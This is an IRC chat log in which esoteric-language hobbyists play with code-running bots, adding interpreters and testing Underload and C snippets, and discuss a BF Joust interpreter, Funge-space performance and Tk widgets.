22:12:51 <Lymia> fizzie, how long does a generation normally take to process?
22:13:12 <elliott> FIVE YEARS
22:13:22 <elliott> He's using cranklance, which is like lance, but operated with a hand-crank.
22:14:14 <fizzie> Lymia: I haven't exactly timed it. Maybe around a minute or five? Depending on the parameters, of course.
22:14:20 <Lymia> Ah.
22:14:42 <oerjan> `yes
22:15:10 <HackEgo> y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y
22:15:16 <Deewiant> `yes no
22:15:17 <HackEgo> no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no \ no
22:15:35 <oerjan> !sh yes
22:15:56 <elliott> I HATE HATE HATE that a case can't point to a variable declaration
22:15:59 <EgoBot> y
22:16:00 <elliott> *declaration.
22:16:05 <fizzie> HackEgo: Are you saying 'no' just to be negative?
22:16:12 <elliott> `yes yes \ no
22:16:13 <HackEgo> yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no \ yes \ no
22:16:19 <elliott> `yes yes \ no \ maybe
22:16:20 <HackEgo> yes \ no \ maybe \ yes \ no \ maybe \ yes \ no \ maybe \ yes \ no \ maybe \ yes \ no \ maybe \ yes \ no \ maybe \ yes \ no \ maybe \ yes \ no \ maybe \ yes \ no \ maybe \ yes \ no \ maybe \ yes \ no \ maybe \ yes \ no \ maybe \ yes \ no \ maybe \ yes \ no \ maybe \ yes \ no \ maybe \ yes \ no \ maybe \ yes \ no \ maybe \ yes
22:16:32 <iconmaster> Lol its a bot.
22:16:39 <elliott> What an observation!
22:16:44 <oerjan> !ls
22:16:51 <oerjan> !sh ls
22:16:52 <elliott> oerjan: *!sh ls
22:16:52 <EgoBot> interps
22:17:16 <oerjan> !sh ls interps | fmt -w400
22:17:17 <EgoBot> 1l 2l Makefile adjust axo befunge bf_txtgen bfjoust boof c-intercal cat cfunge clc-intercal dimensifuck egobch egobf fukyorbrane gcccomp gforth_quit ghc glass glypho kipple lambda lazyk linguine malbolge pbrain qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl
22:17:33 <elliott> !sh cat interps/Makefile
22:17:33 <EgoBot> CC=gcc
22:17:44 <elliott> wow that made an unholy noise
22:17:47 <elliott> as all the messages came in at once
22:17:50 <oerjan> !underload ((a)S:^):^
22:18:02 <elliott> <EgoBot> # simply cheks when you make that these are installed, which is nice for fresh
22:18:03 <elliott> Gregor: "cheks"
22:18:11 <oerjan> as i thought...
22:18:19 <elliott> <EgoBot> .SUFFIXES: .c .cc .cpp .bin
22:18:19 <elliott> <EgoBot>
22:18:19 <elliott> <EgoBot> .c.bin:
22:18:28 -!- hiato has quit (Ping timeout: 240 seconds).
22:18:33 <elliott> also, s/bin/exe/ is the standard extension for such
22:18:36 <elliott> (yes, even on Unix...)
22:19:10 * variable pokes people
22:19:12 <oerjan> !sh echo '(:aSS):aSS' | interps/underload
22:19:22 <EgoBot> /tmp/input.16487: line 1: interps/underload: is a directory
22:19:27 <oerjan> oh
22:19:34 <oerjan> !ls interps/underload
22:19:42 <oerjan> er
22:19:51 <oerjan> !sh ls interps/underload | fmt -w400
22:19:51 <EgoBot> underload.bin underload.c
22:20:06 <oerjan> !sh echo '(:aSS):aSS' | interps/underload/underload.bin
22:20:07 <EgoBot> Usage: derl (-o|-a) [inputfile]
22:20:07 <myndzi> |
22:20:07 <myndzi> /`\
22:20:33 <fizzie> Heh, that was amusing.
22:20:36 <variable> myndzi: your missing a head
22:20:43 <elliott> variable: it's egobot's -o|
22:20:44 <myndzi> |
22:20:44 <myndzi> |\
22:20:46 <elliott> also, *you're :|
22:20:50 <oerjan> !sh echo '(:aSS):aSS' | interps/underload/underload.bin -o
22:20:50 <EgoBot> (:aSS):aSSAttempt to execute unknown command 10
22:20:55 <elliott> oerjan: echo -n
22:20:58 <oerjan> ah
22:21:03 <oerjan> !sh echo -n '(:aSS):aSS' | interps/underload/underload.bin -o
22:21:04 <EgoBot> (:aSS):aSS
22:21:32 * variable reads this channel a lot - I should talk more
22:21:53 <elliott> wait we have actual lurkers? :)
22:22:16 * iconmaster talks a lot, and generally makes a fool outa himself
22:23:00 -!- fungot has joined.
22:23:58 <oerjan> !run ls interps/*/*.bin | fmt -w400
22:24:17 <oerjan> !echo hi
22:24:19 <EgoBot> hi
22:24:25 <oerjan> !run ls interps/*/*.bin | fmt -w400
22:24:37 <oerjan> isn't that legal syntax? :(
22:24:37 <elliott> iconmaster: not as much a fool as the rest of us make of ourselves on a regular basis :)
22:24:41 <elliott> oerjan: yes
22:24:46 <elliott> !run ls interps/*/*; echo hi
22:24:49 <elliott> er
22:24:50 <elliott> oerjan: "!run"
22:24:51 <fizzie> ^ul (aS(:^)S):^
22:24:51 <fungot> (aS(:^)S):^
22:24:56 <elliott> doofus :)
22:24:58 <iconmaster> !echo im silly!
22:24:59 <EgoBot> im silly!
22:25:01 <fizzie> I think I like that more.
22:25:03 <oerjan> duh
22:25:06 <oerjan> !sh ls interps/*/*.bin | fmt -w400
22:25:10 <fizzie> It doesn't have them rude words.
22:25:21 <EgoBot> interps/1l/1l_a.bin interps/2l/2li.bin interps/adjust/adjust.bin interps/axo/axopp.0.1.0.bin interps/befunge/bef.bin interps/kipple/cipple.bin interps/malbolge/malbolge.bin interps/pbrain/pbrain.bin interps/sceql/sceql-0.1.bin interps/trigger/trigger.bin interps/udage01/switch.bin interps/underload/underload.bin interps/unlambda/unlambda.bin
22:25:37 <elliott> fizzie: What rude words.
22:25:50 <oerjan> bah there doesn't seem to be a uniform naming
22:25:57 -!- hiato has joined.
22:26:01 <elliott> oerjan: indeed, see the makefile for more
22:26:04 <fizzie> elliott: The ASS.
22:26:14 <elliott> fizzie: Quite.
22:26:19 <elliott> fizzie: The palindromic one is surely even better, though.
22:26:21 * iconmaster is going to make RPOS v2 this weekend. Joy!
22:26:23 <oerjan> elliott: i am trying to make a program that can run another interpreter while cutting off the input
22:26:32 <elliott> oerjan: to what end?
22:26:34 <oerjan> since EgoBot refuses to do so
22:26:45 <elliott> what do you mean by cutting off the input?
22:26:59 <oerjan> elliott: so that i can give EgoBot underload programs that produce an infinite line
22:27:08 <elliott> cutting off the output then
22:27:10 <elliott> why not just use fungot :-P
22:27:11 <fungot> elliott: you prolly have mzscheme running
22:27:13 <oerjan> er ups
22:27:14 <elliott> oh.
22:27:17 <elliott> is that why
22:27:20 <elliott> s/ $//
22:27:23 <elliott> because i use mzscheme
22:27:25 <elliott> i see :|
22:27:38 <oerjan> ^help
22:27:38 <fungot> ^<lang> <code>; ^def <command> <lang> <code>; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool
22:27:50 <oerjan> elliott: fungot doesn't take urls
22:27:51 <fungot> oerjan: only i can use them, however, in book or lecture form. ( define-operation ( cell-contents cell))
22:27:54 <iconmaster> !echo iconmaster is a great guy!
22:27:56 <EgoBot> iconmaster is a great guy!
22:28:03 <iconmaster> What a tool.
22:28:19 <oerjan> oh well
22:28:55 <elliott> oerjan: er does it not?
22:29:01 <elliott> i believe it does
22:29:01 <oerjan> !addinterp ulcut sh interp/underload/underload.bin | head -c5000
22:29:02 <EgoBot> Interpreter ulcut installed.
22:29:03 <elliott> or at least ^def does.
22:29:06 <oerjan> it does?
22:29:09 <elliott> think so, yes.
22:29:10 <oerjan> ^help
22:29:10 <fungot> ^<lang> <code>; ^def <command> <lang> <code>; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool
22:29:21 <elliott> well, it has that str stuff.
22:29:25 <elliott> ask fizzie if it does HTTP.
22:29:26 <elliott> I think it does
22:29:27 <oerjan> !ulcut ((a)S:^):^
22:29:28 <EgoBot> /tmp/input.17170: line 1: interp/underload/underload.bin: No such file or directory
22:29:34 <oerjan> ff
22:29:41 <oerjan> oh
22:29:45 <elliott> ^str 0 get
22:29:45 <fungot> foobar
22:29:47 <elliott> ^str 9 get
22:29:47 <fungot> Empty.
22:29:50 <elliott> ^str 9 set abc
22:29:50 <fungot> Set: abc
22:29:50 <oerjan> !addinterp ulcut sh interp/underload/underload.bin -o | head -c5000
22:29:51 <EgoBot> There is already an interpreter for ulcut!
22:29:54 <elliott> ^str 9 add def
22:29:54 <fungot> Added.
22:29:56 <elliott> ^str 9 set (abc)
22:29:56 <fungot> Set: (abc)
22:29:57 <oerjan> !delinterp ulcut
22:29:58 <elliott> ^str 9 add S
22:29:58 <fungot> Added.
22:29:58 <EgoBot> Interpreter ulcut deleted.
22:29:59 <oerjan> !addinterp ulcut sh interp/underload/underload.bin -o | head -c5000
22:30:01 <EgoBot> Interpreter ulcut installed.
22:30:03 <elliott> ^ul str:9
22:30:03 <fungot> ...bad insn!
22:30:05 <oerjan> !ulcut ((a)S:^):^
22:30:05 <EgoBot> /tmp/input.17295: line 1: interp/underload/underload.bin: No such file or directory
22:30:07 <elliott> eh?
22:30:08 <elliott> ^str 9 get
22:30:08 <fungot> (abc)S
22:30:12 <oerjan> goddamn
22:30:13 <elliott> *shrug*
22:30:16 <elliott> oerjan: dude, ask fizzie
22:30:20 <elliott> I'm pretty sure it does http
22:33:55 <fizzie> It was supposed to.
22:34:01 <fizzie> But it never did.
22:34:15 <oerjan> ah.
22:34:29 <oerjan> ^delinterp ulcut
22:34:36 <oerjan> er
22:34:39 <oerjan> !delinterp ulcut
22:34:39 <EgoBot> Interpreter ulcut deleted.
22:34:49 <fizzie> The str stuff can be used for longer stuff though, right.
22:35:30 <oerjan> !help userinterps
22:35:31 <EgoBot> userinterps: Users can add interpreters written in any of the languages in !help languages. See !help addinterp, delinterp, show | !userinterps. List interpreters added with !addinterp.
22:35:37 <oerjan> !show slashes
22:35:37 <EgoBot> perl (sending via DCC)
22:36:27 <oerjan> hm that one definitely can take either stdin or file
22:36:30 <Lymia> !help languages
22:36:30 <EgoBot> languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho haskell kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh.
22:36:40 <fizzie> The ^help text seems to be lying somewhat, str:n doesn't work everywhere.
22:36:43 <fizzie> ^str 9 get
22:36:43 <fungot> (abc)S
22:36:46 <fizzie> ^ul str:9
22:36:46 <fungot> ...bad insn!
22:36:48 <fizzie> ^def tmp ul str:9
22:36:49 <fungot> Defined.
22:36:51 <fizzie> ^tmp
22:36:52 <fungot> abc
22:37:16 <Lymia> !c int main() {printf("test");}
22:37:30 <Lymia> :(
22:38:23 <oerjan> !addinterp test sh echo
22:38:23 <EgoBot> There is already an interpreter for test!
22:38:30 <oerjan> !delinterp test
22:38:40 <oerjan> what
22:38:43 <elliott> Ouch, lance 2 is pretty slow.
22:38:48 <oerjan> !addinterp test sh echo
22:38:48 <EgoBot> There is already an interpreter for test!
22:38:49 <elliott> Needs more inlining.
22:39:02 <oerjan> must be something other then...
22:39:04 <oerjan> !show test
22:39:04 <EgoBot> That is not a user interpreter!
22:39:12 <oerjan> !addinterp test2 sh echo
22:39:15 <EgoBot> Interpreter test2 installed.
22:39:20 <oerjan> !test2 hi
22:39:45 <oerjan> hm that looks like something taking stding
22:39:52 <oerjan> !delinterp test2
22:39:53 <EgoBot> Interpreter test2 deleted.
22:40:28 <oerjan> !addinterp ulcut sh interp/underload/underload.bin -o
22:40:28 <EgoBot> Interpreter ulcut installed.
22:40:34 -!- iconmaster has quit (Quit: Rooms • iPhone IRC Client • http://www.roomsapp.mobi).
22:40:35 <oerjan> !ulcut (:aSS):aSS
22:40:35 <EgoBot> /tmp/input.17885: line 1: interp/underload/underload.bin: No such file or directory
22:40:47 <oerjan> hm...
22:40:59 <oerjan> oh wait fuck
22:41:07 <oerjan> !delinterp ulcut
22:41:07 <EgoBot> Interpreter ulcut deleted.
22:41:26 <oerjan> !addinterp ulcut sh interps/underload/underload.bin -o | head -c5000
22:41:27 <EgoBot> Interpreter ulcut installed.
22:41:36 <oerjan> !ulcut (:aSS):aSS
22:41:37 <EgoBot> Attempt to execute unknown command 10
22:41:51 <Lymia> Where does the argument go in anyways.
22:42:06 <Lymia> That is, the program being submitted for running.
22:42:23 <oerjan> Lymia: i think it's sent on stdin for userinterps
22:42:48 <oerjan> but on files for languages
22:42:57 <oerjan> (that /tmp thing)
22:43:04 <elliott> Why is this program slower...
22:43:27 <oerjan> also why does it keep adding a newline
22:43:29 <Lymia> !addinterp runc sh cat > tmp.c | gcc -O3 -o tmp tmp.c | ./tmp
22:43:30 <EgoBot> Interpreter runc installed.
22:43:38 <Lymia> !runc int main() {printf("test");}
22:43:39 <EgoBot> /tmp/input.18166: line 1: tmp.c: Permission denied
22:43:55 <Lymia> :<
22:44:00 <oerjan> Lymia: there is already a c language in EgoBot btw
22:44:11 <Lymia> !deinterp runc
22:44:22 <elliott> comedy of the day: "-Ofast" is an actual gcc option
22:44:23 <Lymia> !delinterp runc
22:44:28 <EgoBot> Interpreter runc deleted.
22:44:50 <Lymia> So.
22:44:58 <oerjan> Lymia: no changing files directly allowed, iirc
22:45:02 <oerjan> use HackEgo for that
22:45:06 <olsner> elliott: my compiler will have -Olsner
22:45:07 <Lymia> Buh.
22:45:07 <Lymia> :<
22:45:16 <elliott> olsner: turns on lsner optimisations?
22:45:28 <olsner> yep, lsner, that's right
22:45:42 <Lymia> !c int main() { printf("test or something"); }
22:45:42 <oerjan> !sh interps/underload/underload.bin
22:45:44 <EgoBot> test or something
22:45:45 <Lymia> Dosn't work.
22:45:49 <Lymia> ...
22:45:50 <Lymia> Never mind!
22:45:53 <oerjan> :D
22:46:12 <oerjan> !sh interps/underload/underload.bin fnord
22:46:12 <EgoBot> Usage: derl (-o|-a) [inputfile]
22:46:13 <myndzi> |
22:46:13 <myndzi> >\
22:46:22 <fizzie> Least-Squares Nonlinear Equation R-something?
22:46:33 <olsner> yuck, debugging... as soon as you find yourself debugging a C program you know that you've already failed and might as well start over from the beginning and try to get it right this time
22:46:37 <Deewiant> Reduction
22:46:52 <Lymia> !c void boom () { register int esp asm ("esp"); esp = 50; printf("Byebye, %u!",esp); } int main() { boom(); return 1 }
22:46:53 <EgoBot> Does not compile.
22:46:56 <Lymia> :(
22:47:09 <oerjan> !sh echo -n '(:aSS):aSS' | interps/underload/underload.bin -o
22:47:10 <EgoBot> (:aSS):aSS
22:47:30 <Lymia> !c void boom () { register int esp asm ("esp"); esp = 50; printf("Byebye, %u!",esp); } int main () { boom(); return 1; }
22:47:32 <EgoBot> ./interps/gcccomp/gcccomp: line 52: 18490 Segmentation fault /tmp/compiled.$$
22:48:48 <fizzie> There *are* easier ways to segfault.
22:49:00 <olsner> I wonder what happens if you do something like !c int main() { kill(getppid()); }
22:49:00 <Lymia> !c int nya[1024]; void mungTheStack() { register int *esp asm ("esp"); memcpy(esp,nya,1024*sizeof(int)); } int main () { mungTheStack(); }
22:49:03 <EgoBot> ./interps/gcccomp/gcccomp: line 52: 18598 Segmentation fault /tmp/compiled.$$
22:49:03 <Lymia> I"m just messing around
22:49:10 <oerjan> !ulcut
22:49:10 <EgoBot> Attempt to execute unknown command 10
22:49:19 <Lymia> I'm*
22:50:12 <fizzie> s/1024*sizeof(int)/sizeof nya/ -- even when messing around, no need to look all ugly.
22:50:25 <Lymia> !c int main () { main(); }
22:50:29 <EgoBot> ./interps/gcccomp/gcccomp: line 52: 18705 Segmentation fault /tmp/compiled.$$
22:50:45 <oerjan> !delinterp ulcut
22:50:46 <EgoBot> Interpreter ulcut deleted.
22:52:46 <oerjan> !addinterp test2 sh wc
22:52:59 <oerjan> !echo hi
22:53:07 <oerjan> wtf
22:53:10 <EgoBot> Interpreter test2 installed.
22:53:14 <oerjan> !test2 hi
22:53:38 <oerjan> !echo hi
22:53:47 <oerjan> EgoBot is croaking
22:53:59 <EgoBot> hi
22:54:06 <oerjan> !test2 hi
22:54:08 <EgoBot> 1 1 3
22:54:12 <oerjan> ic
22:55:33 <oerjan> !delinterp test2
22:55:34 <EgoBot> Interpreter test2 deleted.
22:56:46 <elliott> $ ./lance '(]' ''
22:56:46 <elliott> Syntax error: Unmatched ( (on line 1, at column 1), closed with [ (on line 1, at column 2)
22:56:51 <elliott> GOOD ENOUGH ERROR REPORTING, DEEWIANT?!
22:56:57 <elliott> oops
22:56:59 <elliott> needs an inversion there
22:57:06 <Deewiant> NOPE
22:57:13 <elliott> Syntax error: Unmatched ( (on line 1, at column 1), closed with ] (on line 1, at column 2)
22:57:18 <elliott> Deewiant: WOULD YOU LIKE THE LINE UNDERLINED
22:57:30 -!- iconmaster has joined.
22:57:32 <Deewiant> Mostly the column
22:57:40 <elliott> Deewiant: PERHAPS A TWO-PRONGED ARROW POINTING TO BOTH RELEVANT CHARACTERS?
22:57:50 <Deewiant> Sure
22:57:51 <elliott> Including a 2D line for all those multi-line cases.
22:58:03 <Deewiant> 2D lines! What witchery
23:00:11 <fizzie> Perhaps you should produce a data: URL that encodes a PNG where you've printed the offending code with some fancy highlights and lens flares.
23:00:22 -!- Mathnerd314 has quit (Ping timeout: 240 seconds).
23:00:28 -!- cheater99 has joined.
23:00:49 <elliott> fizzie: Or open the user's browser auto-magically.
23:00:57 <Deewiant> Produce a data: URL with befunge code that draws the offending code using TURT
23:01:47 <elliott> So how's CCBI's error-reporting :)
23:02:00 <Deewiant> Excellent
23:02:06 <Gregor> !bfjoust nonsense [[(-)*256(+)*256]+]
23:03:16 -!- pikhq has joined.
23:03:30 -!- pikhq_ has quit (Ping timeout: 255 seconds).
23:03:56 -!- poiuy_qwert has joined.
23:05:20 <elliott> Deewiant: But Befunge has no errors :P
23:05:36 <elliott> <Deewiant> Precisely
23:06:01 -!- oerjan has quit (Remote host closed the connection).
23:06:11 -!- oerjan has joined.
23:06:51 <Deewiant> elliott:
23:06:52 <EgoBot> Score for Gregor_nonsense: 11.9
23:06:52 <Deewiant> $ echo "" > x; ccbi x
23:06:52 <Deewiant> CCBI :: Infinite loop detected!
23:06:53 <Deewiant> Detected by Funge-Space at (112,0) with delta (1,0):
23:06:53 <Deewiant> IP found itself whilst processing spaces.
23:07:03 <elliott> Deewiant: STANDARDS INCOMPLIANT
23:07:09 <Deewiant> By default, yes
23:07:13 <elliott> BOO
23:07:14 <Deewiant> It has the -I option if you really want to infloop
23:08:01 -!- Slereah has quit (Ping timeout: 272 seconds).
23:09:07 <Deewiant> I think the only other one is in STRN.G
23:09:25 <Deewiant> Well, other than the various equivalent situations in which infloops can occur for IPs
23:10:41 <Deewiant> The static area even makes the error messages ugly, it'd detect it at (0,0) otherwise :-/
23:11:21 <elliott> Deewiant: I will pay you £5 if you remove the static area and implement some fancy just-as-fast-but-elegant thing in the next CCBI :-P
23:11:26 <elliott> Because fuck cfunge, man.
23:11:43 <Deewiant> There is no just-as-fast, that's the problem :-P
23:12:57 <elliott> Deewiant: Didn't you say some k-d tree thing would help? :-P
23:13:02 -!- Slereah has joined.
23:13:17 <Deewiant> That just helps when you have multiple boxes
23:13:35 <elliott> Deewiant: I refuse to believe that a static area is necessary to be competitive with cfunge.
23:13:43 <elliott> Optimise other shit :P
23:14:38 <Deewiant> It doesn't change the fact that if (x>=0&&y>=0&&y<128&&x<128) return array[y*128 + x] is faster than if (x>=ox&&y>=oy&&y<ey&&x<ex) return array[y*(ey-oy+1) + x]
23:15:49 <elliott> $ ./lance '(>)*9([-]>*21' ''
23:15:49 <elliott> Syntax error: Unmatched ( (on line 2, at column 1)
23:15:49 <elliott> I think not.
23:15:55 <elliott> Deewiant: And?
23:16:08 <Deewiant> ... and stuff like that is by far the bottleneck?
23:16:20 <elliott> Deewiant: On benchmarks that are how artificial, exactly? :-P
23:16:27 <Deewiant> On real programs, mostly
23:16:28 <elliott> I'm sure there's some other part of CCBI less optimised.
23:16:32 <Deewiant> On benchmarks it's the other stuff
23:16:48 <Deewiant> Which is why 2.0 didn't have a static area
23:17:51 <Deewiant> I'm sure there's room for improvement in other areas but if it's in the low 10% and you're more than 10% slower it really doesn't matter
23:18:10 <elliott> Deewiant: How much is the difference? It surely can't be more than 0.05s on anything. It fundamentally violates my worldview that such simple differences in conditionals and arithmetic could be a deal-breaker.
23:18:16 <elliott> Are you sure D overhead isn't hurting you? :-P
23:18:44 <Deewiant> elliott: On fun_got's underload interpreter on some program the difference was like 20s to 16s or something
23:18:59 <elliott> Deewiant: "fun_got"; that kind of stuff violates channel rules I'm sure.
23:19:00 <Deewiant> Given that it was mostly just tight loops in the initial area
23:19:06 <Deewiant> elliott: I didn't want to ping it :-P
23:19:09 <elliott> fizzie: Please tell Deewiant that talking about fungot behind its back is a bannable offence.
23:19:10 <fungot> elliott: c has an ignore restarter, restart/ ignore do? the symbols look familiar ( p,q,r) but i can
23:19:16 <elliott> It has the right to express its views, after all.
23:19:46 <fizzie> elliott: But we all do that about you! Uh, I mean, never mind.
23:19:50 <elliott> Deewiant: Generalisation of my UTTER GENIUS THREADED CODE IDEA: Do magic so that tight loops don't /need/ to look at fungespace like that.
23:19:58 <elliott> fizzie: ITT: I read logs
23:20:00 <elliott> :P
23:20:28 -!- nik340 has joined.
23:20:35 -!- nik340 has left (?).
23:20:51 <elliott> FAREWELL NIK340
23:21:01 <oerjan> WE HARDLY KNEW YE
23:21:48 <elliott> Hmm, what's up with the parser stack here.
23:24:22 <elliott> $ ./lance '()*3(' '[]'
23:24:23 <elliott> Syntax error: Unmatched ( (on line 2, at column 1)
23:24:23 <elliott> WHAT DEFINITION OF LINE ARE YOU USING HERE
23:24:39 -!- FireFly has quit (Quit: swatted to death).
23:25:19 -!- Sgeo has joined.
23:27:06 -!- iconmaster has quit (Ping timeout: 240 seconds).
23:27:30 -!- Behold has quit (Remote host closed the connection).
23:32:29 <elliott> wtf :/
23:32:36 <elliott> there are definitely no newlines here.
23:32:42 <elliott> OH
23:32:42 <elliott> DUR
23:32:59 <pikhq> Fuck roads.
23:33:13 -!- tswett has joined.
23:33:22 <elliott> pikhq: totally
23:34:19 <Sgeo> Tk actually looks native on Windows nowadays?
23:34:28 <Sgeo> Am I in some kind of alternate reality?
23:35:04 <pikhq> Tk has always looked native on not-UNIX.
23:35:38 <pikhq> And it used to look native there.
23:35:41 <pikhq> Mmmm, Motif.
23:37:11 <elliott> pikhq: Tk isn't native on OS X.
23:37:17 <elliott> But yeah, on Windows, it looks fine. See: IDLE.
23:37:24 <elliott> (It's native-ISH on OS X.)
23:37:31 <elliott> (But not nearly native enough.)
23:37:47 <Sgeo> elliott, OSX is not not-UNIX
23:37:49 <Sgeo> I thought
23:37:54 <pikhq> Ah, right, it was merely "made an attempt at native" on OS X.
23:37:57 <Sgeo> Oh
23:38:01 <Sgeo> Um, not oh
23:38:18 <elliott> Gregor: So... with your model, ( knows where the { is, and ) knows where the } is, right?
23:38:21 <pikhq> I think it was actually totally native on classic Mac OS.
23:38:21 <elliott> And everything knows where ( is.
23:38:29 <pikhq> And certainly was on random PDAs it was ported to.
23:38:35 <Gregor> elliott: Yeah. In fact, {}) all know where ( is, and ( stores where all the others are.
23:38:36 <fizzie> I don't think Tk looked very good on Windows either; wasn't the whole point of Tile that it looks more native on Windows?
23:38:46 <elliott> Gregor: Toooo muuuuuch indirectionnnnnnnnnnnnnn
23:38:51 <elliott> fizzie: Not really.
23:38:54 <Gregor> elliott: Waaaaaaaah
23:38:54 <elliott> fizzie: Well, maybe.
23:38:55 <pikhq> fizzie: No, the whole point of Tile was to make it look right on X.
23:38:58 <elliott> All I know is IDLE looks perfect on Windows.
23:39:04 <elliott> As in is-natively-rendered.
23:39:07 <pikhq> fizzie: On Windows it just used native widgets.
23:39:09 <fizzie> "# Native look and feel under Windows XP
23:39:10 <Gregor> Wooooh, my favorite episode of Seinfeld is on.
23:39:12 <fizzie> # Native look and feel under other Windows versions"
23:39:15 <elliott> Gregor: But ( just needs to know where { is, and ) where } is, right?
23:39:20 <pikhq> fizzie: Very odd. It used native widgets.
23:39:23 <elliott> Does } know anything? Apart from where ( is?
23:39:24 <fizzie> That is what Tile lists as their features.
23:39:28 <Gregor> elliott: Yeah. And the counts.
23:39:32 <elliott> fizzie: Perhaps IDLE uses Tile then.
23:39:34 <elliott> But doubtful.
23:39:36 <Sgeo> Why are we talking paste tense?
23:39:36 <elliott> Since it doesn't on X.
23:39:50 <elliott> Gregor: Right, well, everything knows where ( is. But I'd rather that ) know where } is directly.
23:39:53 <elliott> Since ( doesn't need to know that.
23:40:00 <elliott> Which means I need MORE FIELDS YAY
23:40:03 <elliott> To gobble up MORE MEMORY
23:40:22 <oerjan> 00:50 elliott> Syntax error: Unmatched ( (on line 2, at column 1)
23:40:22 <oerjan> 00:50 elliott> WHAT DEFINITION OF LINE ARE YOU USING HERE
23:40:28 <elliott> oerjan: fixed :P
23:40:40 <oerjan> my guess is that it is giving the position of the eof instead of the original (
23:40:53 <elliott> nope
23:41:01 <elliott> it was that i forgot a break; in the ) case, so it fell through to the \n case
23:41:09 <elliott> a wonderful, stupid combination
23:41:27 <Lymia> `make love
23:41:33 <Lymia> `run make love
23:41:58 <fizzie> In crank, there's two fields; "match" points ( to ) and back, { to } and back; "inner" points from ( to { and back, } to ) and back. I'm not sure if I use the "match" fields at all after parsing is done, though.
23:42:15 <elliott> fizzie: You have to; ( on )*0 jumps to the ).
23:42:22 <elliott> Unless you SNEAKILY ELIDE IT; which I probably should.
23:42:28 <elliott> *IT,
23:42:31 <fizzie> Yes, well, for inner-less loops, sure.
23:42:33 <pikhq> Yup, Tk for Windows has always *literally used native Win32 widgets*.
23:42:44 <pikhq> It functions as a wrapper around Win32 on Windows.
23:43:02 <HackEgo> No output.
23:43:02 <HackEgo> No output.
23:43:36 <pikhq> Tile, it seems, just lets you use different themes, including using Windows native widgets if you so wish.
23:46:22 <oerjan> elliott: } during runtime doesn't need to know anything if you do things the way i imagine
23:46:34 <oerjan> (just pushing a 0)
23:46:38 <elliott> oerjan: that's true, using a stack, but I'm not using a stack
23:46:41 <fizzie> "In the current version, the default
23:46:41 <fizzie> font for Tk buttons, labels, entries etc. is &quot;MS Sans Serif&quot; 8 pt regardless of what font the user
23:46:44 <fizzie> configured in Windows; this makes Tk programs look slightly (but noticably) different from native
23:46:48 <fizzie> Windows dialog applications."
23:46:50 <elliott> oerjan: I'm storing the iteration in the (, because egojsout does it that way, and because my last attempt was broken
23:46:52 <elliott> and egojsout isn't broken
23:46:55 <elliott> imitation, flattery, etc.
23:46:55 <fizzie> Could have been bugs like that, I guess.
23:47:11 <oerjan> elliott: ok without a stack it _also_ doesn't need to know anything
23:47:24 <elliott> oerjan: it needs to know where ( is
23:47:28 <elliott> so it knows where to put the 0 or whatever
23:47:41 <oerjan> elliott: no it doesn't, because { should already have set it to 0
23:47:46 <elliott> oerjan: hm. right.
23:47:56 -!- pikhq has quit (Ping timeout: 240 seconds).
23:48:10 -!- pikhq has joined.
23:48:55 <oerjan> elliott: { and ) both need to know the location of the counter, one of them, ) it seems in this case, needs to know the maximum value for it
23:49:20 <oerjan> and { needs to know the position of (, and ) needs to know the position of }
23:49:24 <pikhq> Grawr.
23:49:31 <Gregor> "Guys and dolls, isn't that a lavish Broadway musical?" "It's guys and dolls, not guys and guys."
23:49:42 <oerjan> ( needs to know the position of the counter and the maximal value
23:49:44 <elliott> Gregor: :D
23:50:00 <fizzie> oerjan: cranklance uses a stack of repetition-counter values; ( pushes old to keep it safe, inits to N; { decrements; pops if zero, jumps otherwise; } again pushes the old value and initializes to 1; ) increments and then either jumps back or pops. Is that the same as your way?
23:50:19 <elliott> oerjan: incidentally I've been learning that making everything elegant and structs and functions slows things down even if you inline them :/
23:50:22 <elliott> mostly for max-cycle programs
23:50:38 <elliott> Gregor: I need your EXPERT OPINION.
23:50:49 <Gregor> In my opinion, I am an expert.
23:50:53 <Gregor> There, now you have my expert opinion.
23:51:07 <elliott> Gregor: Did it take the gcc developers longer to write the error for "case 'x': type var = val;" than it would have for them to automatically transform it into "case 'x': ; type var = val;"?
23:51:09 <elliott> The answer is: YES.
23:51:21 <elliott> This would also have achieved: NOT LITTERING CODE WITH SEEMINGLY-MEANINGLESS ";"S
23:51:50 <fizzie> I'm sure it's THE LAW.
23:51:51 <Gregor> That's a bad place to put a type declaration anyway, if you need types local to a case you should put them in a block.
23:51:54 <oerjan> fizzie: apart from the "old value" stuff which i don't see the point of
23:52:28 <Gregor> s/types local/variables local/
23:52:38 <elliott> <Gregor> That's a bad place to put a type declaration anyway, if you need types local to a case you should put them in a block.
23:52:42 <elliott> Maybe if C didn't make that hideous, I would.
23:52:46 <elliott> <fizzie> I'm sure it's THE LAW.
23:52:48 <elliott> -std=gnu99.
23:52:51 <elliott> The LAW doesn't apply.
